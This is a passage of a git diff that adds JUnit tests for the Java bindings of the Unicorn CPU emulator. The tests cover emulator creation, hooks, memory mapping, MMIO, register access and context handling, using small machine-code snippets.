assertEquals("OK (UC_ERR_OK)", Unicorn.strerror(Unicorn.UC_ERR_OK)); + assertEquals("Invalid handle (UC_ERR_HANDLE)", + Unicorn.strerror(Unicorn.UC_ERR_HANDLE)); + } + + @Test + public void testCreation() { + assertThrows(UnicornException.class, + () -> new Unicorn(Unicorn.UC_ARCH_MAX + 1, 0)); + + if (Unicorn.arch_supported(Unicorn.UC_ARCH_X86)) { + new Unicorn(Unicorn.UC_ARCH_X86, Unicorn.UC_MODE_16); + new Unicorn(Unicorn.UC_ARCH_X86, Unicorn.UC_MODE_32); + new Unicorn(Unicorn.UC_ARCH_X86, Unicorn.UC_MODE_64); + assertThrows(UnicornException.class, + () -> new Unicorn(Unicorn.UC_ARCH_X86, + Unicorn.UC_MODE_BIG_ENDIAN)); + } + + if (Unicorn.arch_supported(Unicorn.UC_ARCH_M68K)) { + new Unicorn(Unicorn.UC_ARCH_M68K, Unicorn.UC_MODE_BIG_ENDIAN); + assertThrows(UnicornException.class, + () -> new Unicorn(Unicorn.UC_ARCH_M68K, + Unicorn.UC_MODE_LITTLE_ENDIAN)); + } + + if (Unicorn.arch_supported(Unicorn.UC_ARCH_ARM)) { + new Unicorn(Unicorn.UC_ARCH_ARM, 0); + new Unicorn(Unicorn.UC_ARCH_ARM, Unicorn.UC_MODE_BIG_ENDIAN); + new Unicorn(Unicorn.UC_ARCH_ARM, Unicorn.UC_MODE_THUMB); + } + + if (Unicorn.arch_supported(Unicorn.UC_ARCH_ARM64)) { + new Unicorn(Unicorn.UC_ARCH_ARM64, 0); + new Unicorn(Unicorn.UC_ARCH_ARM64, Unicorn.UC_MODE_BIG_ENDIAN); + } + + if (Unicorn.arch_supported(Unicorn.UC_ARCH_MIPS)) { + new Unicorn(Unicorn.UC_ARCH_MIPS, + Unicorn.UC_MODE_BIG_ENDIAN | Unicorn.UC_MODE_32); + new Unicorn(Unicorn.UC_ARCH_MIPS, + Unicorn.UC_MODE_LITTLE_ENDIAN | Unicorn.UC_MODE_32); + new Unicorn(Unicorn.UC_ARCH_MIPS, + Unicorn.UC_MODE_BIG_ENDIAN | Unicorn.UC_MODE_64); + new Unicorn(Unicorn.UC_ARCH_MIPS, + Unicorn.UC_MODE_LITTLE_ENDIAN | Unicorn.UC_MODE_64); + assertThrows(UnicornException.class, + () -> new Unicorn(Unicorn.UC_ARCH_MIPS, Unicorn.UC_MODE_16)); + } + + if (Unicorn.arch_supported(Unicorn.UC_ARCH_SPARC)) { + new Unicorn(Unicorn.UC_ARCH_SPARC, + Unicorn.UC_MODE_BIG_ENDIAN | Unicorn.UC_MODE_32); + new Unicorn(Unicorn.UC_ARCH_SPARC, + Unicorn.UC_MODE_BIG_ENDIAN | Unicorn.UC_MODE_64); + assertThrows(UnicornException.class, + () -> new Unicorn(Unicorn.UC_ARCH_SPARC, + Unicorn.UC_MODE_LITTLE_ENDIAN | Unicorn.UC_MODE_32)); + } + + if (Unicorn.arch_supported(Unicorn.UC_ARCH_PPC)) { + new Unicorn(Unicorn.UC_ARCH_PPC, + Unicorn.UC_MODE_BIG_ENDIAN | Unicorn.UC_MODE_32); + new Unicorn(Unicorn.UC_ARCH_PPC, + Unicorn.UC_MODE_BIG_ENDIAN | Unicorn.UC_MODE_64); + assertThrows(UnicornException.class, + () -> new Unicorn(Unicorn.UC_ARCH_PPC, + Unicorn.UC_MODE_LITTLE_ENDIAN | Unicorn.UC_MODE_32)); + } + + if (Unicorn.arch_supported(Unicorn.UC_ARCH_RISCV)) { + new Unicorn(Unicorn.UC_ARCH_RISCV, Unicorn.UC_MODE_32); + new Unicorn(Unicorn.UC_ARCH_RISCV, Unicorn.UC_MODE_64); + } + + if (Unicorn.arch_supported(Unicorn.UC_ARCH_S390X)) { + new Unicorn(Unicorn.UC_ARCH_S390X, Unicorn.UC_MODE_BIG_ENDIAN); + assertThrows(UnicornException.class, + () -> new Unicorn(Unicorn.UC_ARCH_S390X, + Unicorn.UC_MODE_LITTLE_ENDIAN)); + + new Unicorn(Unicorn.UC_ARCH_TRICORE, 0); + } + } + + @Test + public void testThreading() { + // EB FE - label: jmp label + final byte[] X86_CODE = { -21, -2 }; + + long ADDRESS = 0x100000; + + Unicorn u = new Unicorn(Unicorn.UC_ARCH_X86, Unicorn.UC_MODE_32); + u.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_ALL); + u.mem_write(ADDRESS, X86_CODE); + new Thread(() -> { + try { + Thread.sleep(500); + } catch (InterruptedException e) { + e.printStackTrace(); + } + u.emu_stop(); + }).start(); + u.emu_start(ADDRESS, ADDRESS + X86_CODE.length, 0, 0); + } + + @Test + public void testContext() { + Unicorn uc = new Unicorn(Unicorn.UC_ARCH_ARM64, Unicorn.UC_MODE_ARM); + uc.reg_write(Unicorn.UC_ARM64_REG_X0, 0xdeadbeefL); + Unicorn.Context ctx = uc.context_save(); + assertEquals(0xdeadbeefL, uc.reg_read(Unicorn.UC_ARM64_REG_X0)); + assertEquals(0xdeadbeefL, ctx.reg_read(Unicorn.UC_ARM64_REG_X0)); + + uc.reg_write(Unicorn.UC_ARM64_REG_X0, 0xfeedfaceL); + assertEquals(0xfeedfaceL, uc.reg_read(Unicorn.UC_ARM64_REG_X0)); + assertEquals(0xdeadbeefL, ctx.reg_read(Unicorn.UC_ARM64_REG_X0)); + + uc.context_restore(ctx); + assertEquals(0xdeadbeefL, uc.reg_read(Unicorn.UC_ARM64_REG_X0)); + assertEquals(0xdeadbeefL, ctx.reg_read(Unicorn.UC_ARM64_REG_X0)); + + uc.reg_write(Unicorn.UC_ARM64_REG_X0, 0xfee1deadL); + assertEquals(0xfee1deadL, uc.reg_read(Unicorn.UC_ARM64_REG_X0)); + assertEquals(0xdeadbeefL, ctx.reg_read(Unicorn.UC_ARM64_REG_X0)); + + uc.context_update(ctx); + assertEquals(0xfee1deadL, uc.reg_read(Unicorn.UC_ARM64_REG_X0)); + assertEquals(0xfee1deadL, ctx.reg_read(Unicorn.UC_ARM64_REG_X0)); + + uc.reg_write(Unicorn.UC_ARM64_REG_X0, 0xdeadbeefL); + assertEquals(0xdeadbeefL, uc.reg_read(Unicorn.UC_ARM64_REG_X0)); + assertEquals(0xfee1deadL, ctx.reg_read(Unicorn.UC_ARM64_REG_X0)); + + uc.context_restore(ctx); + assertEquals(0xfee1deadL, uc.reg_read(Unicorn.UC_ARM64_REG_X0)); + assertEquals(0xfee1deadL, ctx.reg_read(Unicorn.UC_ARM64_REG_X0)); + } + + @Test + public void testOldContext() { + Unicorn uc = new Unicorn(Unicorn.UC_ARCH_ARM64, Unicorn.UC_MODE_ARM); + uc.reg_write(Unicorn.UC_ARM64_REG_X0, 0xdeadbeefL); + long ctx = uc.context_alloc(); + uc.context_save(ctx); + assertEquals(0xdeadbeefL, uc.reg_read(Unicorn.UC_ARM64_REG_X0)); + + uc.reg_write(Unicorn.UC_ARM64_REG_X0, 0xfeedfaceL); + assertEquals(0xfeedfaceL, uc.reg_read(Unicorn.UC_ARM64_REG_X0)); + + uc.context_restore(ctx); + assertEquals(0xdeadbeefL, uc.reg_read(Unicorn.UC_ARM64_REG_X0)); + + uc.reg_write(Unicorn.UC_ARM64_REG_X0, 0xfee1deadL); + assertEquals(0xfee1deadL, uc.reg_read(Unicorn.UC_ARM64_REG_X0)); + + uc.context_save(ctx); + assertEquals(0xfee1deadL, uc.reg_read(Unicorn.UC_ARM64_REG_X0)); + + uc.reg_write(Unicorn.UC_ARM64_REG_X0, 0xdeadbeefL); + assertEquals(0xdeadbeefL, uc.reg_read(Unicorn.UC_ARM64_REG_X0)); + + uc.context_restore(ctx); + assertEquals(0xfee1deadL, uc.reg_read(Unicorn.UC_ARM64_REG_X0)); + + uc.free(ctx); + } +} diff --git a/bindings/java/src/test/java/tests/HookTests.java b/bindings/java/src/test/java/tests/HookTests.java new file mode 100644 index 0000000000..330e4e528c --- /dev/null +++ b/bindings/java/src/test/java/tests/HookTests.java @@ -0,0 +1,125 @@ +package tests; + +import static org.junit.Assert.assertEquals; +import static org.junit.Assert.assertThrows; + +import org.junit.Test; + +import unicorn.CodeHook; +import unicorn.EdgeGeneratedHook; +import unicorn.TlbFillHook; +import unicorn.TranslationBlock; +import unicorn.Unicorn; +import unicorn.UnicornException; + +public class HookTests { + private static void assertTranslationBlock(TranslationBlock expected, + TranslationBlock actual) { + assertEquals(expected.pc, actual.pc); + assertEquals(expected.icount, actual.icount); + assertEquals(expected.size, actual.size); + } + + @Test + public void testEdgeHook() { + /* + 00000000 83FB01 cmp ebx,byte +0x1 + 00000003 7405 jz 0xa + 00000005 B802000000 mov eax,0x2 + 0000000A 40 inc eax + 0000000B EBFE jmp short 0xb + */ + final byte[] X86_CODE = + { -125, -5, 1, 116, 5, -72, 2, 0, 0, 0, 64, -21, -2 }; + final TranslationBlock[] expectedTb = { null, null }; + + long ADDRESS = 0x100000; + + Unicorn u = new Unicorn(Unicorn.UC_ARCH_X86, Unicorn.UC_MODE_32); + u.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_ALL); + u.mem_write(ADDRESS, X86_CODE); + expectedTb[1] = new TranslationBlock(ADDRESS, 2, 5); + u.hook_add((EdgeGeneratedHook) (uc, cur_tb, prev_tb, user) -> { + assertTranslationBlock(expectedTb[0], cur_tb); + assertTranslationBlock(expectedTb[1], prev_tb); + assertEquals("user data", user); + }, ADDRESS, ADDRESS + 10, "user data"); + + // TODO(nneonneo): why is icount 2/3 in the subsequent blocks? + expectedTb[0] = new TranslationBlock(ADDRESS + 10, 2, 1); + u.reg_write(Unicorn.UC_X86_REG_EBX, 1); + u.emu_start(ADDRESS, ADDRESS + 11, 0, 0); + + expectedTb[0] = new TranslationBlock(ADDRESS + 5, 3, 6); + u.reg_write(Unicorn.UC_X86_REG_EBX, 0); + u.emu_start(ADDRESS, ADDRESS + 11, 0, 0); + + assertTranslationBlock(new TranslationBlock(ADDRESS, 2, 5), + u.ctl_request_cache(ADDRESS)); + // TODO(nneonneo): I don't totally understand this output! Why 8 bytes at address 5? + assertTranslationBlock(new TranslationBlock(ADDRESS + 5, 3, 8), + u.ctl_request_cache(ADDRESS + 5)); + } + + @Test + public void testTlbHook() { + // mov ecx, [0xaaaaaaa8] + final byte[] X86_CODE32_MEM_READ = { -117, 13, -88, -86, -86, -86 }; + + long ADDRESS = 0x100000; + + Unicorn u = new Unicorn(Unicorn.UC_ARCH_X86, Unicorn.UC_MODE_32); + u.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_ALL); + u.mem_map(0xbbbbb000L, 0x1000, Unicorn.UC_PROT_READ); + u.hook_add((TlbFillHook) (uc, address, type, user_data) -> { + assertEquals("fill hook address", 0xaaaaa000L, address); + assertEquals("fill hook type", Unicorn.UC_MEM_READ, type); + assertEquals("fill hook user", "fill_hook", user_data); + return 0xbbbbb000L | Unicorn.UC_PROT_READ; + }, 0xaaaaa000L, 0xaaaab000L, "fill_hook"); + u.mem_write(ADDRESS, X86_CODE32_MEM_READ); + u.mem_write(0xbbbbbaa8L, new byte[] { 1, 2, 3, 4 }); + u.reg_write(Unicorn.UC_X86_REG_ECX, 0x12345678); + u.ctl_tlb_mode(Unicorn.UC_TLB_VIRTUAL); + u.emu_start(ADDRESS, ADDRESS + X86_CODE32_MEM_READ.length, 0, 0); + assertEquals("ecx", u.reg_read(Unicorn.UC_X86_REG_ECX), 0x04030201); + } + + @Test + public void testRemoveHook() { + byte[] X86_CODE = { 0x40, 0x40, 0x40, 0x40 }; // (inc eax) x 4 + int ADDRESS = 0x10000; + final int[] hook_accum = { 0 }; + + Unicorn u = new Unicorn(Unicorn.UC_ARCH_X86, Unicorn.UC_MODE_32); + u.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_ALL); + u.mem_write(ADDRESS, X86_CODE); + + CodeHook hook = + (uc, address, size, user) -> hook_accum[0] += (int) user; + long h1 = u.hook_add(hook, ADDRESS, ADDRESS, 1); + long h2 = u.hook_add(hook, ADDRESS + 1, ADDRESS + 1, 2); + long h3 = u.hook_add(hook, ADDRESS + 2, ADDRESS + 2, 4); + long h4 = u.hook_add(hook, ADDRESS + 3, ADDRESS + 3, 8); + + hook_accum[0] = 0; + u.emu_start(ADDRESS, ADDRESS + X86_CODE.length, 0, 0); + assertEquals(15, hook_accum[0]); + + u.hook_del(h2); + + hook_accum[0] = 0; + u.emu_start(ADDRESS, ADDRESS + X86_CODE.length, 0, 0); + assertEquals(13, hook_accum[0]); + + u.hook_del(hook); + + hook_accum[0] = 0; + u.emu_start(ADDRESS, ADDRESS + X86_CODE.length, 0, 0); + assertEquals(0, hook_accum[0]); + + assertThrows(UnicornException.class, () -> u.hook_del(h1)); + assertThrows(UnicornException.class, () -> u.hook_del(h3)); + assertThrows(UnicornException.class, () -> u.hook_del(h4)); + } +} diff --git a/bindings/java/src/test/java/tests/MemTests.java b/bindings/java/src/test/java/tests/MemTests.java new file mode 100644 index 0000000000..0c553d3a0f --- /dev/null +++ b/bindings/java/src/test/java/tests/MemTests.java @@ -0,0 +1,131 @@ +package tests; + +import static org.junit.Assert.assertEquals; + +import java.nio.ByteBuffer; +import java.nio.ByteOrder; + +import org.junit.Test; + +import unicorn.MemRegion; +import unicorn.Unicorn; + +public class MemTests { + private static void assertMemRegion(long address, long size, + int perms, MemRegion actual) { + assertEquals(address, actual.begin); + assertEquals(address + size - 1, actual.end); + assertEquals(perms, actual.perms); + } + + @Test + public void testMemRegions() { + Unicorn uc = new Unicorn(Unicorn.UC_ARCH_ARM64, Unicorn.UC_MODE_ARM); + long ADDR1 = 0x10000; + long ADDR2 = 0xdeadbeeffeed1000L; + uc.mem_map(ADDR1, 2 * 1024 * 1024, Unicorn.UC_PROT_ALL); + uc.mem_map(ADDR2, 4096, Unicorn.UC_PROT_READ); + MemRegion[] arr = uc.mem_regions(); + assertEquals("two memory regions", 2, arr.length); + assertMemRegion(ADDR1, 2 * 1024 * 1024, Unicorn.UC_PROT_ALL, arr[0]); + assertMemRegion(ADDR2, 4096, Unicorn.UC_PROT_READ, arr[1]); + } + + @Test + public void testMemRegions2() { + Unicorn u = new Unicorn(Unicorn.UC_ARCH_TRICORE, 0); + u.mem_map(0x10000, 0x10000, Unicorn.UC_PROT_ALL); + u.mem_map(0x30000, 0x10000, Unicorn.UC_PROT_READ); + u.mem_map(0x50000, 0x10000, + Unicorn.UC_PROT_READ | Unicorn.UC_PROT_WRITE); + u.mem_map(0x70000, 0x20000, 0); + u.mem_protect(0x80000, 0x10000, Unicorn.UC_PROT_EXEC); + + ByteBuffer buf = ByteBuffer.allocateDirect(0x10000); + u.mem_map_ptr(0x110000, buf, Unicorn.UC_PROT_ALL); + + u.mmio_map(0x210000, 0x10000, + (uc, offset, size, user_data) -> 0x41414141, + null, (uc, offset, size, value, user_data) -> { + }, null); + u.mmio_map(0x230000, 0x10000, + (uc, offset, size, user_data) -> 0x41414141, + null, null, null); + u.mmio_map(0x250000, 0x10000, null, null, + (uc, offset, size, value, user_data) -> { + }, null); + u.mmio_map(0x270000, 0x10000, null, null, null, null); + + MemRegion[] mrs = u.mem_regions(); + assertEquals(10, mrs.length); + assertMemRegion(0x10000, 0x10000, Unicorn.UC_PROT_ALL, mrs[0]); + assertMemRegion(0x30000, 0x10000, Unicorn.UC_PROT_READ, mrs[1]); + assertMemRegion(0x50000, 0x10000, + Unicorn.UC_PROT_READ | Unicorn.UC_PROT_WRITE, mrs[2]); + assertMemRegion(0x70000, 0x10000, Unicorn.UC_PROT_NONE, mrs[3]); + assertMemRegion(0x80000, 0x10000, Unicorn.UC_PROT_EXEC, mrs[4]); + assertMemRegion(0x110000, 0x10000, Unicorn.UC_PROT_ALL, mrs[5]); + assertMemRegion(0x210000, 0x10000, + Unicorn.UC_PROT_READ | Unicorn.UC_PROT_WRITE, mrs[6]); + assertMemRegion(0x230000, 0x10000, Unicorn.UC_PROT_READ, mrs[7]); + assertMemRegion(0x250000, 0x10000, Unicorn.UC_PROT_WRITE, mrs[8]); + assertMemRegion(0x270000, 0x10000, Unicorn.UC_PROT_NONE, mrs[9]); + } + + @Test + public void testMmio() { + // mov ecx, [0xaaaaaaa8]; inc ecx; dec edx; mov [0xaaaaaaa8], ecx; inc ecx; dec edx + final byte[] X86_CODE32_MEM_READ_WRITE = + { -117, 13, -88, -86, -86, -86, 65, 74, -119, 13, -88, -86, -86, + -86, 65, 74 }; + + long ADDRESS = 0x100000; + + Unicorn u = new Unicorn(Unicorn.UC_ARCH_X86, Unicorn.UC_MODE_32); + // map 2MB memory for this emulation + u.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_ALL); + + // write machine code to be emulated to memory + u.mem_write(ADDRESS, X86_CODE32_MEM_READ_WRITE); + + // initialize machine registers + u.reg_write(Unicorn.UC_X86_REG_ECX, 0x12345678); + u.reg_write(Unicorn.UC_X86_REG_EDX, 0x22334455); + + u.mmio_map(0xaaaaa000L, 0x1000, (uc, offset, size, user_data) -> { + assertEquals("read offset", 0xaa8, offset); + assertEquals("read size", 4, size); + assertEquals("read user_data", "read_data", user_data); + return 0x44556677; + }, "read_data", (uc, offset, size, value, user_data) -> { + assertEquals("write offset", 0xaa8, offset); + assertEquals("write size", 4, size); + assertEquals("write value", 0x44556678, value); + assertEquals("write user_data", "write_data", user_data); + }, "write_data"); + + u.emu_start(ADDRESS, ADDRESS + X86_CODE32_MEM_READ_WRITE.length, 0, 0); + + assertEquals("ecx", 0x44556679, u.reg_read(Unicorn.UC_X86_REG_ECX)); + assertEquals("edx", 0x22334453, u.reg_read(Unicorn.UC_X86_REG_EDX)); + } + + @Test + public void testMemMapPtr() { + ByteBuffer buffer = + ByteBuffer.allocateDirect(0x1000).order(ByteOrder.LITTLE_ENDIAN); + final byte[] X86_CODE32_MEM_WRITE = + { -119, 13, -86, -86, -86, -86, 65, 74 }; + + long ADDRESS = 0x100000; + + Unicorn u = new Unicorn(Unicorn.UC_ARCH_X86, Unicorn.UC_MODE_32); + u.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_ALL); + u.mem_map_ptr(0xaaaaa000L, buffer, Unicorn.UC_PROT_ALL); + u.mem_write(ADDRESS, X86_CODE32_MEM_WRITE); + u.reg_write(Unicorn.UC_X86_REG_ECX, 0x12345678); + u.emu_start(ADDRESS, ADDRESS + X86_CODE32_MEM_WRITE.length, 0, 0); + + assertEquals("buffer contents", 0x12345678, buffer.getInt(0xaaa)); + } +} diff --git a/bindings/java/src/test/java/tests/RegTests.java b/bindings/java/src/test/java/tests/RegTests.java new file mode 100644 index 0000000000..a0a65deea1 --- /dev/null +++ b/bindings/java/src/test/java/tests/RegTests.java @@ -0,0 +1,237 @@ +package tests; + +import static org.junit.Assert.assertArrayEquals; +import static org.junit.Assert.assertEquals; +import static org.junit.Assert.assertNotEquals; +import static org.junit.Assert.assertThrows; + +import java.math.BigInteger; + +import org.junit.Test; + +import unicorn.Arm64_CP; +import unicorn.SyscallHook; +import unicorn.Unicorn; +import unicorn.UnicornException; +import unicorn.X86_Float80; + +public class RegTests { + @Test + public void testX86ReadFloat80() { + // fldl2e; fsin + final byte[] X86_CODE = { -39, -22, -39, -2 }; + + long ADDRESS = 0x100000; + + Unicorn u = new Unicorn(Unicorn.UC_ARCH_X86, Unicorn.UC_MODE_32); + u.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_ALL); + u.mem_write(ADDRESS, X86_CODE); + u.emu_start(ADDRESS, ADDRESS + X86_CODE.length, 0, 0); + X86_Float80 reg1 = + (X86_Float80) u.reg_read(Unicorn.UC_X86_REG_ST0, null); + X86_Float80 reg2 = + (X86_Float80) u.reg_read(Unicorn.UC_X86_REG_FP7, null); + assertEquals(null, ADDRESS, ADDRESS, ADDRESS); + assertEquals(Math.sin(Math.log(Math.E) / Math.log(2)), reg1.toDouble(), + 1e-12); + assertEquals(reg1.toDouble(), reg2.toDouble(), 1e-12); + } + + @Test + public void testX86WriteFloat80() { + // fsin + final byte[] X86_CODE = { -39, -2 }; + + long ADDRESS = 0x100000; + + Unicorn u = new Unicorn(Unicorn.UC_ARCH_X86, Unicorn.UC_MODE_32); + u.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_ALL); + u.mem_write(ADDRESS, X86_CODE); + X86_Float80 reg = X86_Float80.fromDouble(-1.1); + u.reg_write(Unicorn.UC_X86_REG_ST0, reg); + u.emu_start(ADDRESS, ADDRESS + X86_CODE.length, 0, 0); + reg = (X86_Float80) u.reg_read(Unicorn.UC_X86_REG_ST0, null); + assertEquals(Math.sin(-1.1), reg.toDouble(), 1e-12); + } + + /** Test batch register API. Ported from sample_batch_reg.c. Not a sample + * because the Java version of this API is deprecated. + */ + @Test + public void testBatchReg() { + int[] syscall_abi = { Unicorn.UC_X86_REG_RAX, Unicorn.UC_X86_REG_RDI, + Unicorn.UC_X86_REG_RSI, Unicorn.UC_X86_REG_RDX, + Unicorn.UC_X86_REG_R10, Unicorn.UC_X86_REG_R8, + Unicorn.UC_X86_REG_R9 }; + + Object[] vals = { 200L, 10L, 11L, 12L, 13L, 14L, 15L }; + + long BASE = 0x10000L; + + // mov rax, 100; mov rdi, 1; mov rsi, 2; mov rdx, 3; mov r10, 4; mov r8, 5; mov + // r9, 6; syscall + byte[] CODE = + samples.Utils.hexToBytes("48c7c06400000048c7c70100000048c7c602" + + "00000048c7c20300000049c7c20400000049" + + "c7c00500000049c7c1060000000f05"); + + Unicorn uc = new Unicorn(Unicorn.UC_ARCH_X86, Unicorn.UC_MODE_64); + uc.reg_write_batch(syscall_abi, vals); + Object[] rvals = uc.reg_read_batch(syscall_abi); + assertArrayEquals(vals, rvals); + + uc.hook_add((SyscallHook) (u, user_data) -> { + Object[] nvals = u.reg_read_batch(syscall_abi); + assertArrayEquals(new Object[] { 100L, 1L, 2L, 3L, 4L, 5L, 6L }, + nvals); + }, Unicorn.UC_X86_INS_SYSCALL, 1, 0, null); + + uc.mem_map(BASE, 0x1000, Unicorn.UC_PROT_ALL); + uc.mem_write(BASE, CODE); + uc.emu_start(BASE, BASE + CODE.length, 0, 0); + } + + @Test + public void testBigIntegerRegister() { + Unicorn uc = + new Unicorn(Unicorn.UC_ARCH_ARM64, Unicorn.UC_MODE_ARM); + int reg = Unicorn.UC_ARM64_REG_V0; + + assertThrows(UnicornException.class, () -> uc.reg_read(reg)); + assertThrows(UnicornException.class, () -> uc.reg_write(reg, 1L)); + assertThrows(ClassCastException.class, + () -> uc.reg_write(reg, (Long) 1L)); + + BigInteger b127 = BigInteger.valueOf(2).pow(127); + BigInteger bmax = + BigInteger.valueOf(2).pow(128).subtract(BigInteger.ONE); + + uc.reg_write(reg, BigInteger.ZERO); + assertEquals("write 0, get 0", BigInteger.ZERO, uc.reg_read(reg, null)); + + uc.reg_write(reg, BigInteger.ONE); + assertEquals("write 1, get 1", BigInteger.ONE, uc.reg_read(reg, null)); + assertEquals("get 1 from alias", BigInteger.ONE, + uc.reg_read(Unicorn.UC_ARM64_REG_Q0, null)); + + uc.reg_write(reg, BigInteger.ONE.negate()); + assertEquals("write -1, get 2^128 - 1", bmax, uc.reg_read(reg, null)); + + uc.reg_write(reg, b127); + assertEquals("write 2^127, get 2^127", b127, uc.reg_read(reg, null)); + + uc.reg_write(reg, b127.negate()); + assertEquals("write -2^127, get 2^127", b127, uc.reg_read(reg, null)); + + uc.reg_write(reg, bmax); + assertEquals("write 2^128 - 1, get 2^128 - 1", bmax, + uc.reg_read(reg, null)); + + assertThrows("reject 2^128", IllegalArgumentException.class, + () -> uc.reg_write(reg, bmax.add(BigInteger.ONE))); + assertEquals("reg unchanged", bmax, + uc.reg_read(reg, null)); + + assertThrows("reject -2^127 - 1", IllegalArgumentException.class, + () -> uc.reg_write(reg, b127.negate().subtract(BigInteger.ONE))); + assertEquals("reg unchanged", bmax, + uc.reg_read(reg, null)); + + byte[] b = new byte[0x80]; + b[0x70] = -0x80; + uc.reg_write(reg, new BigInteger(b)); + assertEquals("write untrimmed value", b127, uc.reg_read(reg, null)); + } + + @Test + public void testArm64Vector() { + // add v0.8h, v1.8h, v2.8h + final byte[] ARM64_CODE = { 0x20, (byte) 0x84, 0x62, 0x4e }; + + long ADDRESS = 0x100000; + + Unicorn uc = new Unicorn(Unicorn.UC_ARCH_ARM64, Unicorn.UC_MODE_ARM); + uc.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_ALL); + uc.mem_write(ADDRESS, ARM64_CODE); + + uc.reg_write(Unicorn.UC_ARM64_REG_V0, + new BigInteger("0cc175b9c0f1b6a831c399e269772661", 16)); // MD5("a") + uc.reg_write(Unicorn.UC_ARM64_REG_V1, + new BigInteger("92eb5ffee6ae2fec3ad71c777531578f", 16)); // MD5("b") + uc.reg_write(Unicorn.UC_ARM64_REG_V2, + new BigInteger("-4a8a08f09d37b73795649038408b5f33", 16)); // -MD5("c") + assertThrows("rejects overly large values", + IllegalArgumentException.class, + () -> uc.reg_write(Unicorn.UC_ARM64_REG_V2, + new BigInteger("1111222233334444aaaabbbbccccdddde", 16))); + + assertEquals("v0 value", + new BigInteger("0cc175b9c0f1b6a831c399e269772661", 16), + uc.reg_read(Unicorn.UC_ARM64_REG_V0, null)); + assertEquals("v1 value", + new BigInteger("92eb5ffee6ae2fec3ad71c777531578f", 16), + uc.reg_read(Unicorn.UC_ARM64_REG_V1, null)); + assertEquals("v2 value", + new BigInteger("b575f70f62c848c86a9b6fc7bf74a0cd", 16), + uc.reg_read(Unicorn.UC_ARM64_REG_V2, null)); + + uc.emu_start(ADDRESS, ADDRESS + ARM64_CODE.length, 0, 0); + assertEquals("v0.8h = v1.8h + v2.8h", + new BigInteger("4860570d497678b4a5728c3e34a5f85c", 16), + uc.reg_read(Unicorn.UC_ARM64_REG_V0, null)); + } + + @Test + public void testArm64EnablePAC() { + // paciza x1 + final byte[] ARM64_CODE = + { (byte) 0xe1, 0x23, (byte) 0xc1, (byte) 0xda }; + + long ADDRESS = 0x100000; + + Unicorn uc = new Unicorn(Unicorn.UC_ARCH_ARM64, Unicorn.UC_MODE_ARM); + uc.ctl_set_cpu_model(Unicorn.UC_CPU_ARM64_MAX); + uc.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_ALL); + uc.mem_write(ADDRESS, ARM64_CODE); + + Arm64_CP sctlr_el3 = new Arm64_CP(1, 1, 3, 6, 0); + sctlr_el3.val = + (Long) uc.reg_read(Unicorn.UC_ARM64_REG_CP_REG, sctlr_el3); + // NS | RW | API + sctlr_el3.val |= 1L | (1L << 10) | (1L << 17); + uc.reg_write(Unicorn.UC_ARM64_REG_CP_REG, sctlr_el3); + sctlr_el3.val = + (Long) uc.reg_read(Unicorn.UC_ARM64_REG_CP_REG, sctlr_el3); + + Arm64_CP sctlr_el1 = new Arm64_CP(1, 0, 3, 0, 0); + sctlr_el1.val = + (Long) uc.reg_read(Unicorn.UC_ARM64_REG_CP_REG, sctlr_el1); + // EnIA | EnIB + sctlr_el1.val |= (1L << 31) | (1L << 30) | (1L << 27) | (1L << 13); + uc.reg_write(Unicorn.UC_ARM64_REG_CP_REG, sctlr_el1); + sctlr_el1.val = + (Long) uc.reg_read(Unicorn.UC_ARM64_REG_CP_REG, sctlr_el1); + + Arm64_CP hcr_el2 = new Arm64_CP(1, 1, 3, 4, 0); + hcr_el2.val = + (Long) uc.reg_read(Unicorn.UC_ARM64_REG_CP_REG, hcr_el2); + // API + hcr_el2.val |= (1L << 41); + uc.reg_write(Unicorn.UC_ARM64_REG_CP_REG, hcr_el2); + + Arm64_CP apiakeylo_el1 = new Arm64_CP(2, 1, 3, 0, 0); + apiakeylo_el1.val = 0x4141424243434444L; + uc.reg_write(Unicorn.UC_ARM64_REG_CP_REG, apiakeylo_el1); + + Arm64_CP apiakeyhi_el1 = new Arm64_CP(2, 1, 3, 0, 1); + apiakeyhi_el1.val = 0x1234abcd4444aaaaL; + uc.reg_write(Unicorn.UC_ARM64_REG_CP_REG, apiakeyhi_el1); + + uc.reg_write(Unicorn.UC_ARM64_REG_X1, 0x0000bbbbccccddddL); + uc.emu_start(ADDRESS, ADDRESS + ARM64_CODE.length, 0, 0); + assertNotEquals("X1 should be signed", 0x0000bbbbccccddddL, + uc.reg_read(Unicorn.UC_ARM64_REG_X1)); + assertEquals("X1 low bits should be unchanged", 0x0000bbbbccccddddL, + uc.reg_read(Unicorn.UC_ARM64_REG_X1) & 0xffffffffffffL); + } +} diff --git a/bindings/java/src/test/java/tests/RegressionTests.java b/bindings/java/src/test/java/tests/RegressionTests.java new file mode 100644 index 0000000000..52ae143a64 --- /dev/null +++ b/bindings/java/src/test/java/tests/RegressionTests.java @@ -0,0 +1,75 @@ +package tests; + +import static org.junit.Assert.assertEquals; + +import java.math.BigInteger; + +import org.junit.Ignore; +import org.junit.Test; + +import unicorn.Unicorn; +import unicorn.UnicornException; +import unicorn.CodeHook; + +public class RegressionTests { + /** Test for GH #1539: Unable to read ARM64 v or q register using java binding */ + @Test + public void testARM64VReg() { + Unicorn uc = new Unicorn(Unicorn.UC_ARCH_ARM64, Unicorn.UC_MODE_ARM); + uc.reg_write(Unicorn.UC_ARM64_REG_X0, 0x1); + uc.reg_write(Unicorn.UC_ARM64_REG_V0, BigInteger.valueOf(0x1234)); + uc.reg_read(Unicorn.UC_ARM64_REG_X0); + assertEquals("V0 value", BigInteger.valueOf(0x1234), + uc.reg_read(Unicorn.UC_ARM64_REG_V0, null)); // should not crash + assertEquals("V0 low byte", 0x34, + uc.reg_read(Unicorn.UC_ARM64_REG_B0)); + assertEquals("V0 low halfword", 0x1234, + uc.reg_read(Unicorn.UC_ARM64_REG_H0)); + } + + /** Test for GH 